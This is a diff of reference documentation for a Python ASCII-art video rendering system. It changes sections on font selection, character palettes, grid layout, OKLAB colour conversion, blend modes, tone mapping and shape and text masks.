("Cascadia Mono", os.path.expandvars(r"%LOCALAPPDATA%\Microsoft\Windows\Fonts\CascadiaMono.ttf")),
|
||||
]
|
||||
|
||||
def _get_font_prefs():
|
||||
s = platform.system()
|
||||
if s == "Darwin":
|
||||
return FONT_PREFS_MACOS
|
||||
elif s == "Windows":
|
||||
return FONT_PREFS_WINDOWS
|
||||
return FONT_PREFS_LINUX
|
||||
|
||||
FONT_PREFS = _get_font_prefs()
|
||||
FONT_PREFS = FONT_PREFS_MACOS if platform.system() == "Darwin" else FONT_PREFS_LINUX
|
||||
```
|
||||
|
||||
**Multi-font rendering**: use different fonts for different layers (e.g., monospace for background, a bolder variant for overlay text). Each GridLayer owns its own font:
|
||||
@@ -151,8 +77,8 @@ Before initializing grids, gather all characters that need bitmap pre-rasterizat
|
||||
all_chars = set()
|
||||
for pal in [PAL_DEFAULT, PAL_DENSE, PAL_BLOCKS, PAL_RUNE, PAL_KATA,
|
||||
PAL_GREEK, PAL_MATH, PAL_DOTS, PAL_BRAILLE, PAL_STARS,
|
||||
PAL_HALFFILL, PAL_HATCH, PAL_BINARY, PAL_MUSIC, PAL_BOX,
|
||||
PAL_CIRCUIT, PAL_ARROWS, PAL_HERMES]: # ... all palettes used in project
|
||||
PAL_BINARY, PAL_MUSIC, PAL_BOX, PAL_CIRCUIT, PAL_ARROWS,
|
||||
PAL_HERMES]: # ... all palettes used in project
|
||||
all_chars.update(pal)
|
||||
# Add any overlay text characters
|
||||
all_chars.update("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 .,-:;!?/|")
|
||||
@@ -161,31 +87,21 @@ all_chars.discard(" ") # space is never rendered
|
||||
|
||||
### GridLayer Initialization
|
||||
|
||||
Each grid pre-computes coordinate arrays for vectorized effect math. The grid automatically adapts to any resolution (landscape, portrait, square):
|
||||
Each grid pre-computes coordinate arrays for vectorized effect math:
|
||||
|
||||
```python
|
||||
class GridLayer:
|
||||
def __init__(self, font_path, font_size, vw=None, vh=None):
|
||||
"""Initialize grid for any resolution.
|
||||
vw, vh: video width/height in pixels. Defaults to global VW, VH."""
|
||||
vw = vw or VW; vh = vh or VH
|
||||
self.vw = vw; self.vh = vh
|
||||
|
||||
def __init__(self, font_path, font_size):
|
||||
self.font = ImageFont.truetype(font_path, font_size)
|
||||
asc, desc = self.font.getmetrics()
|
||||
bbox = self.font.getbbox("M")
|
||||
self.cw = bbox[2] - bbox[0] # character cell width
|
||||
self.ch = asc + desc # CRITICAL: not textbbox height
|
||||
|
||||
self.cols = vw // self.cw
|
||||
self.rows = vh // self.ch
|
||||
self.ox = (vw - self.cols * self.cw) // 2 # centering
|
||||
self.oy = (vh - self.rows * self.ch) // 2
|
||||
|
||||
# Aspect ratio metadata
|
||||
self.aspect = vw / vh # >1 = landscape, <1 = portrait, 1 = square
|
||||
self.is_portrait = vw < vh
|
||||
self.is_landscape = vw > vh
|
||||
self.cols = VW // self.cw
|
||||
self.rows = VH // self.ch
|
||||
self.ox = (VW - self.cols * self.cw) // 2 # centering
|
||||
self.oy = (VH - self.rows * self.ch) // 2
|
||||
|
||||
# Index arrays
|
||||
self.rr = np.arange(self.rows, dtype=np.float32)[:, None]
|
||||
@@ -303,11 +219,9 @@ PAL_ARABIC = " \u0627\u0628\u062a\u062b\u062c\u062d\u062e\u062f\u0630\u0631\u0
|
||||
|
||||
#### Dot / Point Progressions
|
||||
```python
|
||||
PAL_DOTS = " ⋅∘∙●◉◎◆✦★" # dot size progression
|
||||
PAL_BRAILLE = " ⠁⠂⠃⠄⠅⠆⠇⠈⠉⠊⠋⠌⠍⠎⠏⠐⠑⠒⠓⠔⠕⠖⠗⠘⠙⠚⠛⠜⠝⠞⠟⠿" # braille patterns
|
||||
PAL_STARS = " ·✧✦✩✨★✶✳✸" # star progression
|
||||
PAL_HALFFILL = " ◔◑◕◐◒◓◖◗◙" # directional half-fill progression
|
||||
PAL_HATCH = " ▣▤▥▦▧▨▩" # crosshatch density ramp
|
||||
PAL_DOTS = " \u22c5\u2218\u2219\u25cf\u25c9\u25ce\u25c6\u2726\u2605" # dot size progression
|
||||
PAL_BRAILLE = " \u2801\u2802\u2803\u2804\u2805\u2806\u2807\u2808\u2809\u280a\u280b\u280c\u280d\u280e\u280f\u2810\u2811\u2812\u2813\u2814\u2815\u2816\u2817\u2818\u2819\u281a\u281b\u281c\u281d\u281e\u281f\u283f" # braille patterns
|
||||
PAL_STARS = " \u00b7\u2727\u2726\u2729\u2728\u2605\u2736\u2733\u2738" # star progression
|
||||
```
|
||||
|
||||
#### Project-Specific (examples -- invent new ones per project)
|
||||
@@ -439,202 +353,6 @@ def rgb_palette_map(val, mask, palette):
|
||||
return R, G, B
|
||||
```
|
||||
|
||||
### OKLAB Color Space (Perceptually Uniform)
|
||||
|
||||
HSV hue is perceptually non-uniform: green occupies far more visual range than blue. OKLAB / OKLCH provide perceptually even color steps — hue increments of 0.1 look equally different regardless of starting hue. Use OKLAB for:
|
||||
- Gradient interpolation (no unwanted intermediate hues)
|
||||
- Color harmony generation (perceptually balanced palettes)
|
||||
- Smooth color transitions over time
|
||||
|
||||
```python
|
||||
# --- sRGB <-> Linear sRGB ---
|
||||
|
||||
def srgb_to_linear(c):
|
||||
"""Convert sRGB [0,1] to linear light. c: float32 array."""
|
||||
return np.where(c <= 0.04045, c / 12.92, ((c + 0.055) / 1.055) ** 2.4)
|
||||
|
||||
def linear_to_srgb(c):
|
||||
"""Convert linear light to sRGB [0,1]."""
|
||||
return np.where(c <= 0.0031308, c * 12.92, 1.055 * np.power(np.maximum(c, 0), 1/2.4) - 0.055)
|
||||
|
||||
# --- Linear sRGB <-> OKLAB ---
|
||||
|
||||
def linear_rgb_to_oklab(r, g, b):
|
||||
"""Linear sRGB to OKLAB. r,g,b: float32 arrays [0,1].
|
||||
Returns (L, a, b) where L=[0,1], a,b=[-0.4, 0.4] approx."""
|
||||
l_ = 0.4122214708 * r + 0.5363325363 * g + 0.0514459929 * b
|
||||
m_ = 0.2119034982 * r + 0.6806995451 * g + 0.1073969566 * b
|
||||
s_ = 0.0883024619 * r + 0.2817188376 * g + 0.6299787005 * b
|
||||
l_c = np.cbrt(l_); m_c = np.cbrt(m_); s_c = np.cbrt(s_)
|
||||
L = 0.2104542553 * l_c + 0.7936177850 * m_c - 0.0040720468 * s_c
|
||||
a = 1.9779984951 * l_c - 2.4285922050 * m_c + 0.4505937099 * s_c
|
||||
b_ = 0.0259040371 * l_c + 0.7827717662 * m_c - 0.8086757660 * s_c
|
||||
return L, a, b_
|
||||
|
||||
def oklab_to_linear_rgb(L, a, b):
|
||||
"""OKLAB to linear sRGB. Returns (r, g, b) float32 arrays [0,1]."""
|
||||
l_ = L + 0.3963377774 * a + 0.2158037573 * b
|
||||
m_ = L - 0.1055613458 * a - 0.0638541728 * b
|
||||
s_ = L - 0.0894841775 * a - 1.2914855480 * b
|
||||
l_c = l_ ** 3; m_c = m_ ** 3; s_c = s_ ** 3
|
||||
r = +4.0767416621 * l_c - 3.3077115913 * m_c + 0.2309699292 * s_c
|
||||
g = -1.2684380046 * l_c + 2.6097574011 * m_c - 0.3413193965 * s_c
|
||||
b_ = -0.0041960863 * l_c - 0.7034186147 * m_c + 1.7076147010 * s_c
|
||||
return np.clip(r, 0, 1), np.clip(g, 0, 1), np.clip(b_, 0, 1)
|
||||
|
||||
# --- Convenience: sRGB uint8 <-> OKLAB ---
|
||||
|
||||
def rgb_to_oklab(R, G, B):
|
||||
"""sRGB uint8 arrays to OKLAB."""
|
||||
r = srgb_to_linear(R.astype(np.float32) / 255.0)
|
||||
g = srgb_to_linear(G.astype(np.float32) / 255.0)
|
||||
b = srgb_to_linear(B.astype(np.float32) / 255.0)
|
||||
return linear_rgb_to_oklab(r, g, b)
|
||||
|
||||
def oklab_to_rgb(L, a, b):
|
||||
"""OKLAB to sRGB uint8 arrays."""
|
||||
r, g, b_ = oklab_to_linear_rgb(L, a, b)
|
||||
R = np.clip(linear_to_srgb(r) * 255, 0, 255).astype(np.uint8)
|
||||
G = np.clip(linear_to_srgb(g) * 255, 0, 255).astype(np.uint8)
|
||||
B = np.clip(linear_to_srgb(b_) * 255, 0, 255).astype(np.uint8)
|
||||
return R, G, B
|
||||
|
||||
# --- OKLCH (cylindrical form of OKLAB) ---
|
||||
|
||||
def oklab_to_oklch(L, a, b):
|
||||
"""OKLAB to OKLCH. Returns (L, C, H) where H is in [0, 1] (normalized)."""
|
||||
C = np.sqrt(a**2 + b**2)
|
||||
H = (np.arctan2(b, a) / (2 * np.pi)) % 1.0
|
||||
return L, C, H
|
||||
|
||||
def oklch_to_oklab(L, C, H):
|
||||
"""OKLCH to OKLAB. H in [0, 1]."""
|
||||
angle = H * 2 * np.pi
|
||||
a = C * np.cos(angle)
|
||||
b = C * np.sin(angle)
|
||||
return L, a, b
|
||||
```
|
||||
|
||||
### Gradient Interpolation (OKLAB vs HSV)
|
||||
|
||||
Interpolating colors through OKLAB avoids the hue detours that HSV produces:
|
||||
|
||||
```python
|
||||
def lerp_oklab(color_a, color_b, t_array):
|
||||
"""Interpolate between two sRGB colors through OKLAB.
|
||||
color_a, color_b: (R, G, B) tuples 0-255
|
||||
t_array: float32 array [0,1] — interpolation parameter per pixel.
|
||||
Returns (R, G, B) uint8 arrays."""
|
||||
La, aa, ba = rgb_to_oklab(
|
||||
np.full_like(t_array, color_a[0], dtype=np.uint8),
|
||||
np.full_like(t_array, color_a[1], dtype=np.uint8),
|
||||
np.full_like(t_array, color_a[2], dtype=np.uint8))
|
||||
Lb, ab, bb = rgb_to_oklab(
|
||||
np.full_like(t_array, color_b[0], dtype=np.uint8),
|
||||
np.full_like(t_array, color_b[1], dtype=np.uint8),
|
||||
np.full_like(t_array, color_b[2], dtype=np.uint8))
|
||||
L = La + (Lb - La) * t_array
|
||||
a = aa + (ab - aa) * t_array
|
||||
b = ba + (bb - ba) * t_array
|
||||
return oklab_to_rgb(L, a, b)
|
||||
|
||||
def lerp_oklch(color_a, color_b, t_array, short_path=True):
|
||||
"""Interpolate through OKLCH (preserves chroma, smooth hue path).
|
||||
short_path: take the shorter arc around the hue wheel."""
|
||||
La, aa, ba = rgb_to_oklab(
|
||||
np.full_like(t_array, color_a[0], dtype=np.uint8),
|
||||
np.full_like(t_array, color_a[1], dtype=np.uint8),
|
||||
np.full_like(t_array, color_a[2], dtype=np.uint8))
|
||||
Lb, ab, bb = rgb_to_oklab(
|
||||
np.full_like(t_array, color_b[0], dtype=np.uint8),
|
||||
np.full_like(t_array, color_b[1], dtype=np.uint8),
|
||||
np.full_like(t_array, color_b[2], dtype=np.uint8))
|
||||
L1, C1, H1 = oklab_to_oklch(La, aa, ba)
|
||||
L2, C2, H2 = oklab_to_oklch(Lb, ab, bb)
|
||||
# Shortest hue path
|
||||
if short_path:
|
||||
dh = H2 - H1
|
||||
dh = np.where(dh > 0.5, dh - 1.0, np.where(dh < -0.5, dh + 1.0, dh))
|
||||
H = (H1 + dh * t_array) % 1.0
|
||||
else:
|
||||
H = H1 + (H2 - H1) * t_array
|
||||
L = L1 + (L2 - L1) * t_array
|
||||
C = C1 + (C2 - C1) * t_array
|
||||
Lout, aout, bout = oklch_to_oklab(L, C, H)
|
||||
return oklab_to_rgb(Lout, aout, bout)
|
||||
```
|
||||
|
||||
### Color Harmony Generation
|
||||
|
||||
Auto-generate harmonious palettes from a seed color:
|
||||
|
||||
```python
|
||||
def harmony_complementary(seed_rgb):
|
||||
"""Two colors: seed + opposite hue."""
|
||||
L, a, b = rgb_to_oklab(np.array([seed_rgb[0]]), np.array([seed_rgb[1]]), np.array([seed_rgb[2]]))
|
||||
_, C, H = oklab_to_oklch(L, a, b)
|
||||
return [seed_rgb, _oklch_to_srgb_tuple(L[0], C[0], (H[0] + 0.5) % 1.0)]
|
||||
|
||||
def harmony_triadic(seed_rgb):
|
||||
"""Three colors: seed + two at 120-degree offsets."""
|
||||
L, a, b = rgb_to_oklab(np.array([seed_rgb[0]]), np.array([seed_rgb[1]]), np.array([seed_rgb[2]]))
|
||||
_, C, H = oklab_to_oklch(L, a, b)
|
||||
return [seed_rgb,
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (H[0] + 0.333) % 1.0),
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (H[0] + 0.667) % 1.0)]
|
||||
|
||||
def harmony_analogous(seed_rgb, spread=0.08, n=5):
|
||||
"""N colors spread evenly around seed hue."""
|
||||
L, a, b = rgb_to_oklab(np.array([seed_rgb[0]]), np.array([seed_rgb[1]]), np.array([seed_rgb[2]]))
|
||||
_, C, H = oklab_to_oklch(L, a, b)
|
||||
offsets = np.linspace(-spread * (n-1)/2, spread * (n-1)/2, n)
|
||||
return [_oklch_to_srgb_tuple(L[0], C[0], (H[0] + off) % 1.0) for off in offsets]
|
||||
|
||||
def harmony_split_complementary(seed_rgb, split=0.08):
|
||||
"""Three colors: seed + two flanking the complement."""
|
||||
L, a, b = rgb_to_oklab(np.array([seed_rgb[0]]), np.array([seed_rgb[1]]), np.array([seed_rgb[2]]))
|
||||
_, C, H = oklab_to_oklch(L, a, b)
|
||||
comp = (H[0] + 0.5) % 1.0
|
||||
return [seed_rgb,
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (comp - split) % 1.0),
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (comp + split) % 1.0)]
|
||||
|
||||
def harmony_tetradic(seed_rgb):
|
||||
"""Four colors: two complementary pairs at 90-degree offset."""
|
||||
L, a, b = rgb_to_oklab(np.array([seed_rgb[0]]), np.array([seed_rgb[1]]), np.array([seed_rgb[2]]))
|
||||
_, C, H = oklab_to_oklch(L, a, b)
|
||||
return [seed_rgb,
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (H[0] + 0.25) % 1.0),
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (H[0] + 0.5) % 1.0),
|
||||
_oklch_to_srgb_tuple(L[0], C[0], (H[0] + 0.75) % 1.0)]
|
||||
|
||||
def _oklch_to_srgb_tuple(L, C, H):
|
||||
"""Helper: single OKLCH -> sRGB (R,G,B) int tuple."""
|
||||
La = np.array([L]); Ca = np.array([C]); Ha = np.array([H])
|
||||
Lo, ao, bo = oklch_to_oklab(La, Ca, Ha)
|
||||
R, G, B = oklab_to_rgb(Lo, ao, bo)
|
||||
return (int(R[0]), int(G[0]), int(B[0]))
|
||||
```
|
||||
|
||||
### OKLAB Hue Fields
|
||||
|
||||
Drop-in replacements for `hf_*` generators that produce perceptually uniform hue variation:
|
||||
|
||||
```python
|
||||
def hf_oklch_angle(offset=0.0, chroma=0.12, lightness=0.7):
|
||||
"""OKLCH hue mapped to angle from center. Perceptually uniform rainbow.
|
||||
Returns (R, G, B) uint8 color array instead of a float hue.
|
||||
NOTE: Use with _render_vf_rgb() variant, not standard _render_vf()."""
|
||||
def fn(g, f, t, S):
|
||||
H = (g.angle / (2 * np.pi) + offset + t * 0.05) % 1.0
|
||||
L = np.full_like(H, lightness)
|
||||
C = np.full_like(H, chroma)
|
||||
Lo, ao, bo = oklch_to_oklab(L, C, H)
|
||||
R, G, B = oklab_to_rgb(Lo, ao, bo)
|
||||
return mkc(R, G, B, g.rows, g.cols)
|
||||
return fn
|
||||
```
|
||||
|
||||
### Compositing Helpers
|
||||
|
||||
```python
|
||||
@@ -740,7 +458,7 @@ subprocess.run(["ffmpeg", "-y", "-f", "concat", "-safe", "0", "-i", concat_path,
|
||||
|
||||
### v2 Protocol (Current)
|
||||
|
||||
Every scene function: `(r, f, t, S) -> canvas_uint8` — where `r` = Renderer, `f` = features dict, `t` = time float, `S` = persistent state dict
|
||||
Every scene function: `(renderer, features_dict, time_float, state_dict) -> canvas_uint8`
|
||||
|
||||
```python
|
||||
def fx_example(r, f, t, S):
|
||||
|
||||
@@ -1,14 +1,6 @@
|
||||
# Composition & Brightness Reference
|
||||
|
||||
The composable system is the core of visual complexity. It operates at three levels: pixel-level blend modes, multi-grid composition, and adaptive brightness management. This document covers all three, plus the masking/stencil system for spatial control.
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, palettes, color (HSV + OKLAB): `architecture.md`
|
||||
- Effect building blocks (value fields, hue fields, particles): `effects.md`
|
||||
- Scene protocol, render_clip, SCENES table: `scenes.md`
|
||||
- Shader pipeline, feedback buffer: `shaders.md`
|
||||
- Complete scene examples with blend/mask usage: `examples.md`
|
||||
- Blend mode pitfalls (overlay crush, division by zero): `troubleshooting.md`
|
||||
The composable system is the core of visual complexity. It operates at three levels: pixel-level blend modes, multi-grid composition, and adaptive brightness management. This document covers all three.
|
||||
|
||||
## Pixel-Level Blend Modes
|
||||
|
||||
@@ -110,69 +102,6 @@ result = blend_canvas(result, canvas_c, "difference", 0.6)
|
||||
|
||||
Order matters: `screen(A, B)` is commutative, but `difference(screen(A,B), C)` differs from `difference(A, screen(B,C))`.
|
||||
|
||||
### Linear-Light Blend Modes
|
||||
|
||||
Standard `blend_canvas()` operates in sRGB space — the raw byte values. This is fine for most uses, but sRGB is perceptually non-linear: blending in sRGB darkens midtones and shifts hues slightly. For physically accurate blending (matching how light actually combines), convert to linear light first.
|
||||
|
||||
Uses `srgb_to_linear()` / `linear_to_srgb()` from `architecture.md` § OKLAB Color System.
|
||||
|
||||
```python
|
||||
def blend_canvas_linear(base, top, mode="normal", opacity=1.0):
|
||||
"""Blend in linear light space for physically accurate results.
|
||||
|
||||
Identical API to blend_canvas(), but converts sRGB → linear before
|
||||
blending and linear → sRGB after. More expensive (~2x) due to the
|
||||
gamma conversions, but produces correct results for additive blending,
|
||||
screen, and any mode where brightness matters.
|
||||
"""
|
||||
af = srgb_to_linear(base.astype(np.float32) / 255.0)
|
||||
bf = srgb_to_linear(top.astype(np.float32) / 255.0)
|
||||
fn = BLEND_MODES.get(mode, BLEND_MODES["normal"])
|
||||
result = fn(af, bf)
|
||||
if opacity < 1.0:
|
||||
result = af * (1 - opacity) + result * opacity
|
||||
result = linear_to_srgb(np.clip(result, 0, 1))
|
||||
return np.clip(result * 255, 0, 255).astype(np.uint8)
|
||||
```
|
||||
|
||||
**When to use `blend_canvas_linear()` vs `blend_canvas()`:**
|
||||
|
||||
| Scenario | Use | Why |
|
||||
|----------|-----|-----|
|
||||
| Screen-blending two bright layers | `linear` | sRGB screen over-brightens highlights |
|
||||
| Add mode for glow/bloom effects | `linear` | Additive light follows linear physics |
|
||||
| Blending text overlay at low opacity | `srgb` | Perceptual blending looks more natural for text |
|
||||
| Multiply for shadow/darkening | `srgb` | Differences are minimal for darken ops |
|
||||
| Color-critical work (matching reference) | `linear` | Avoids sRGB hue shifts in midtones |
|
||||
| Performance-critical inner loop | `srgb` | ~2x faster, good enough for most ASCII art |
|
||||
|
||||
**Batch version** for compositing many layers (converts once, blends multiple, converts back):
|
||||
|
||||
```python
|
||||
def blend_many_linear(layers, modes, opacities):
|
||||
"""Blend a stack of layers in linear light space.
|
||||
|
||||
Args:
|
||||
layers: list of uint8 (H,W,3) canvases
|
||||
modes: list of blend mode strings (len = len(layers) - 1)
|
||||
opacities: list of floats (len = len(layers) - 1)
|
||||
Returns:
|
||||
uint8 (H,W,3) canvas
|
||||
"""
|
||||
# Convert all to linear at once
|
||||
linear = [srgb_to_linear(l.astype(np.float32) / 255.0) for l in layers]
|
||||
result = linear[0]
|
||||
for i in range(1, len(linear)):
|
||||
fn = BLEND_MODES.get(modes[i-1], BLEND_MODES["normal"])
|
||||
blended = fn(result, linear[i])
|
||||
op = opacities[i-1]
|
||||
if op < 1.0:
|
||||
blended = result * (1 - op) + blended * op
|
||||
result = np.clip(blended, 0, 1)
|
||||
result = linear_to_srgb(result)
|
||||
return np.clip(result * 255, 0, 255).astype(np.uint8)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Multi-Grid Composition
|
||||
@@ -290,22 +219,19 @@ def tonemap(canvas, target_mean=90, gamma=0.75, black_point=2, white_point=253):
|
||||
"""Adaptive tone-mapping: normalizes + gamma-corrects so no frame is
|
||||
fully dark or washed out.
|
||||
|
||||
1. Compute 1st and 99.5th percentile on 4x subsample (16x fewer values,
|
||||
negligible accuracy loss, major speedup at 1080p+)
|
||||
1. Compute 1st and 99.5th percentile (ignores outlier pixels)
|
||||
2. Stretch that range to [0, 1]
|
||||
3. Apply gamma curve (< 1 lifts shadows, > 1 darkens)
|
||||
4. Rescale to [black_point, white_point]
|
||||
"""
|
||||
f = canvas.astype(np.float32)
|
||||
sub = f[::4, ::4] # 4x subsample: ~390K values vs ~6.2M at 1080p
|
||||
lo = np.percentile(sub, 1)
|
||||
hi = np.percentile(sub, 99.5)
|
||||
lo = np.percentile(f, 1)
|
||||
hi = np.percentile(f, 99.5)
|
||||
if hi - lo < 10:
|
||||
hi = max(hi, lo + 10) # near-uniform frame fallback
|
||||
f = np.clip((f - lo) / (hi - lo), 0.0, 1.0)
|
||||
np.power(f, gamma, out=f) # in-place: avoids allocation
|
||||
np.multiply(f, (white_point - black_point), out=f)
|
||||
np.add(f, black_point, out=f)
|
||||
f = np.power(f, gamma)
|
||||
f = f * (white_point - black_point) + black_point
|
||||
return np.clip(f, 0, 255).astype(np.uint8)
|
||||
```
|
||||
|
||||
@@ -527,208 +453,6 @@ class FeedbackBuffer:
|
||||
|
||||
---
|
||||
|
||||
## Masking / Stencil System
|
||||
|
||||
Masks are float32 arrays `(rows, cols)` or `(VH, VW)` in range [0, 1]. They control where effects are visible: 1.0 = fully visible, 0.0 = fully hidden. Use masks to create figure/ground relationships, focal points, and shaped reveals.
|
||||
|
||||
### Shape Masks
|
||||
|
||||
```python
|
||||
def mask_circle(g, cx_frac=0.5, cy_frac=0.5, radius=0.3, feather=0.05):
|
||||
"""Circular mask centered at (cx_frac, cy_frac) in normalized coords.
|
||||
feather: width of soft edge (0 = hard cutoff)."""
|
||||
asp = g.cw / g.ch if hasattr(g, 'cw') else 1.0
|
||||
dx = (g.cc / g.cols - cx_frac)
|
||||
dy = (g.rr / g.rows - cy_frac) * asp
|
||||
d = np.sqrt(dx**2 + dy**2)
|
||||
if feather > 0:
|
||||
return np.clip(1.0 - (d - radius) / feather, 0, 1)
|
||||
return (d <= radius).astype(np.float32)
|
||||
|
||||
def mask_rect(g, x0=0.2, y0=0.2, x1=0.8, y1=0.8, feather=0.03):
|
||||
"""Rectangular mask. Coordinates in [0,1] normalized."""
|
||||
dx = np.maximum(x0 - g.cc / g.cols, g.cc / g.cols - x1)
|
||||
dy = np.maximum(y0 - g.rr / g.rows, g.rr / g.rows - y1)
|
||||
d = np.maximum(dx, dy)
|
||||
if feather > 0:
|
||||
return np.clip(1.0 - d / feather, 0, 1)
|
||||
return (d <= 0).astype(np.float32)
|
||||
|
||||
def mask_ring(g, cx_frac=0.5, cy_frac=0.5, inner_r=0.15, outer_r=0.35,
|
||||
feather=0.03):
|
||||
"""Ring / annulus mask."""
|
||||
inner = mask_circle(g, cx_frac, cy_frac, inner_r, feather)
|
||||
outer = mask_circle(g, cx_frac, cy_frac, outer_r, feather)
|
||||
return outer - inner
|
||||
|
||||
def mask_gradient_h(g, start=0.0, end=1.0):
|
||||
"""Left-to-right gradient mask."""
|
||||
return np.clip((g.cc / g.cols - start) / (end - start + 1e-10), 0, 1).astype(np.float32)
|
||||
|
||||
def mask_gradient_v(g, start=0.0, end=1.0):
|
||||
"""Top-to-bottom gradient mask."""
|
||||
return np.clip((g.rr / g.rows - start) / (end - start + 1e-10), 0, 1).astype(np.float32)
|
||||
|
||||
def mask_gradient_radial(g, cx_frac=0.5, cy_frac=0.5, inner=0.0, outer=0.5):
|
||||
"""Radial gradient mask — bright at center, dark at edges."""
|
||||
d = np.sqrt((g.cc / g.cols - cx_frac)**2 + (g.rr / g.rows - cy_frac)**2)
|
||||
return np.clip(1.0 - (d - inner) / (outer - inner + 1e-10), 0, 1)
|
||||
```
|
||||
|
||||
### Value Field as Mask
|
||||
|
||||
Use any `vf_*` function's output as a spatial mask:
|
||||
|
||||
```python
|
||||
def mask_from_vf(vf_result, threshold=0.5, feather=0.1):
|
||||
"""Convert a value field to a mask by thresholding.
|
||||
feather: smooth edge width around threshold."""
|
||||
if feather > 0:
|
||||
return np.clip((vf_result - threshold + feather) / (2 * feather), 0, 1)
|
||||
return (vf_result > threshold).astype(np.float32)
|
||||
|
||||
def mask_select(mask, vf_a, vf_b):
|
||||
"""Spatial conditional: show vf_a where mask is 1, vf_b where mask is 0.
|
||||
mask: float32 [0,1] array. Intermediate values blend."""
|
||||
return vf_a * mask + vf_b * (1 - mask)
|
||||
```
|
||||
|
||||
### Text Stencil
|
||||
|
||||
Render text to a mask. Effects are visible only through the letterforms:
|
||||
|
||||
```python
|
||||
def mask_text(grid, text, row_frac=0.5, font=None, font_size=None):
|
||||
"""Render text string as a float32 mask [0,1] at grid resolution.
|
||||
Characters = 1.0, background = 0.0.
|
||||
|
||||
row_frac: vertical position as fraction of grid height.
|
||||
font: PIL ImageFont (defaults to grid's font if None).
|
||||
font_size: override font size for the mask text (for larger stencil text).
|
||||
"""
|
||||
from PIL import Image, ImageDraw, ImageFont
|
||||
|
||||
f = font or grid.font
|
||||
if font_size and font != grid.font:
|
||||
f = ImageFont.truetype(font.path, font_size)
|
||||
|
||||
# Render text to image at pixel resolution, then downsample to grid
|
||||
img = Image.new("L", (grid.cols * grid.cw, grid.ch), 0)
|
||||
draw = ImageDraw.Draw(img)
|
||||
bbox = draw.textbbox((0, 0), text, font=f)
|
||||
tw = bbox[2] - bbox[0]
|
||||
x = (grid.cols * grid.cw - tw) // 2
|
||||
draw.text((x, 0), text, fill=255, font=f)
|
||||
row_mask = np.array(img, dtype=np.float32) / 255.0
|
||||
|
||||
# Place in full grid mask
|
||||
mask = np.zeros((grid.rows, grid.cols), dtype=np.float32)
|
||||
target_row = int(grid.rows * row_frac)
|
||||
# Downsample rendered text to grid cells
|
||||
for c in range(grid.cols):
|
||||
px = c * grid.cw
|
||||
if px + grid.cw <= row_mask.shape[1]:
|
||||
cell = row_mask[:, px:px + grid.cw]
|
||||
if cell.mean() > 0.1:
|
||||
mask[target_row, c] = cell.mean()
|
||||
return mask
|
||||
|
||||
def mask_text_block(grid, lines, start_row_frac=0.3, font=None):
|
||||
"""Multi-line text stencil. Returns full grid mask."""
|
||||
mask = np.zeros((grid.rows, grid.cols), dtype=np.float32)
|
||||
for i, line in enumerate(lines):
|
||||
row_frac = start_row_frac + i / grid.rows
|
||||
line_mask = mask_text(grid, line, row_frac, font)
|
||||
mask = np.maximum(mask, line_mask)
|
||||
return mask
|
||||
```
|
||||
|
||||
### Animated Masks
|
||||
|
||||
Masks that change over time for reveals, wipes, and morphing:
|
||||
|
||||
```python
|
||||
def mask_iris(g, t, t_start, t_end, cx_frac=0.5, cy_frac=0.5,
|
||||
max_radius=0.7, ease_fn=None):
|
||||
"""Iris open/close: circle that grows from 0 to max_radius.
|
||||
ease_fn: easing function (default: ease_in_out_cubic from effects.md)."""
|
||||
if ease_fn is None:
|
||||
ease_fn = lambda x: x * x * (3 - 2 * x) # smoothstep fallback
|
||||
progress = np.clip((t - t_start) / (t_end - t_start), 0, 1)
|
||||
radius = ease_fn(progress) * max_radius
|
||||
return mask_circle(g, cx_frac, cy_frac, radius, feather=0.03)
|
||||
|
||||
def mask_wipe_h(g, t, t_start, t_end, direction="right"):
|
||||
"""Horizontal wipe reveal."""
|
||||
progress = np.clip((t - t_start) / (t_end - t_start), 0, 1)
|
||||
if direction == "left":
|
||||
progress = 1 - progress
|
||||
return mask_gradient_h(g, start=progress - 0.05, end=progress + 0.05)
|
||||
|
||||
def mask_wipe_v(g, t, t_start, t_end, direction="down"):
|
||||
"""Vertical wipe reveal."""
|
||||
progress = np.clip((t - t_start) / (t_end - t_start), 0, 1)
|
||||
if direction == "up":
|
||||
progress = 1 - progress
|
||||
return mask_gradient_v(g, start=progress - 0.05, end=progress + 0.05)
|
||||
|
||||
def mask_dissolve(g, t, t_start, t_end, seed=42):
|
||||
"""Random pixel dissolve — noise threshold sweeps from 0 to 1."""
|
||||
progress = np.clip((t - t_start) / (t_end - t_start), 0, 1)
|
||||
rng = np.random.RandomState(seed)
|
||||
noise = rng.random((g.rows, g.cols)).astype(np.float32)
|
||||
return (noise < progress).astype(np.float32)
|
||||
```
|
||||
|
||||
### Mask Boolean Operations
|
||||
|
||||
```python
|
||||
def mask_union(a, b):
|
||||
"""OR — visible where either mask is active."""
|
||||
return np.maximum(a, b)
|
||||
|
||||
def mask_intersect(a, b):
|
||||
"""AND — visible only where both masks are active."""
|
||||
return np.minimum(a, b)
|
||||
|
||||
def mask_subtract(a, b):
|
||||
"""A minus B — visible where A is active but B is not."""
|
||||
return np.clip(a - b, 0, 1)
|
||||
|
||||
def mask_invert(m):
|
||||
"""NOT — flip mask."""
|
||||
return 1.0 - m
|
||||
```
|
||||
|
||||
### Applying Masks to Canvases
|
||||
|
||||
```python
|
||||
def apply_mask_canvas(canvas, mask, bg_canvas=None):
|
||||
"""Apply a grid-resolution mask to a pixel canvas.
|
||||
Expands mask from (rows, cols) to (VH, VW) via nearest-neighbor.
|
||||
|
||||
canvas: uint8 (VH, VW, 3)
|
||||
mask: float32 (rows, cols) [0,1]
|
||||
bg_canvas: what shows through where mask=0. None = black.
|
||||
"""
|
||||
# Expand mask to pixel resolution
|
||||
mask_px = np.repeat(np.repeat(mask, canvas.shape[0] // mask.shape[0] + 1, axis=0),
|
||||
canvas.shape[1] // mask.shape[1] + 1, axis=1)
|
||||
mask_px = mask_px[:canvas.shape[0], :canvas.shape[1]]
|
||||
|
||||
if bg_canvas is not None:
|
||||
return np.clip(canvas * mask_px[:, :, None] +
|
||||
bg_canvas * (1 - mask_px[:, :, None]), 0, 255).astype(np.uint8)
|
||||
